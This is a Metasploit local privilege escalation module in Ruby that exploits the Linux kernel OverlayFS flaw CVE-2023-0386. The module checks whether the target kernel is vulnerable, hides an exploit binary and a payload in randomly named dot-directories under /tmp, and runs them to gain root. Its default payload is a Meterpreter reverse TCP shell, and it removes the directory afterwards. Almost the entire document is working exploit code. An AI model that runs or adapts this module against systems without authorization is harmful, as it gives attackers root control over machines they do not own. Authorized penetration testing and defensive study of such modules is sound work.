## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Local Privilege Escalation via CVE-2023-0386', 'Description' => %q{ This exploit targets the Linux kernel bug in OverlayFS. A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system. }, 'License' => MSF_LICENSE, 'Author' => [ 'xkaneiki', # Exploit development 'sxlmnwb', # Exploit development 'Takahiro Yokoyama', # Metasploit Module ], 'DisclosureDate' => '2023-03-22', 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64, ], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'AppendExit' => true, 'PrependFork' => true, 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }, 'Privileged' => true, 'References' => [ [ 'CVE', '2023-0386' ], [ 'URL', 'https://github.com/sxlmnwb/CVE-2023-0386' ], [ 'URL', 'https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/overlayfs-cve-2023-0386' ], [ 'URL', 'https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/' ], [ 'URL', 'https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs' ], ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options([ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', '60' ]) ]) register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def check unless kernel_arch.include?('x64') return CheckCode::Safe("System architecture #{kernel_arch} is not supported") end kernel_version = Rex::Version.new(kernel_release.split('-').first) if kernel_version < Rex::Version.new('5.11') || kernel_version.between?(Rex::Version.new('5.15.91'), Rex::Version.new('5.16')) || Rex::Version.new('6.1.9') <= kernel_version return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable") end unless userns_enabled? return CheckCode::Safe('Unprivileged user namespaces are not permitted') end vprint_good('Unprivileged user namespaces are permitted') CheckCode::Appears("Linux kernel version found: #{kernel_version}") end def base_dir datastore['WritableDir'].to_s end def exploit if !datastore['ForceExploit'] && is_root? fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end # Upload exploit executable exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" mkdir(exploit_dir) register_dir_for_cleanup(exploit_dir) if live_compile? vprint_status('Live compiling exploit on system...') upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread') else vprint_status('Dropping pre-compiled exploit on system...') upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf')) end # Upload payload executable payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx(payload_path, generate_payload_exe) # Launch exploit print_status('Launching exploit...') cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" vprint_status("Running: #{cmd_string}") begin output = cmd_exec(cmd_string, nil, datastore['TIMEOUT']) vprint_status(output) rescue Error => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error("Exploit failed: #{e}") ensure # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory. cmd_exec("rm -rf '#{exploit_dir}'") end end end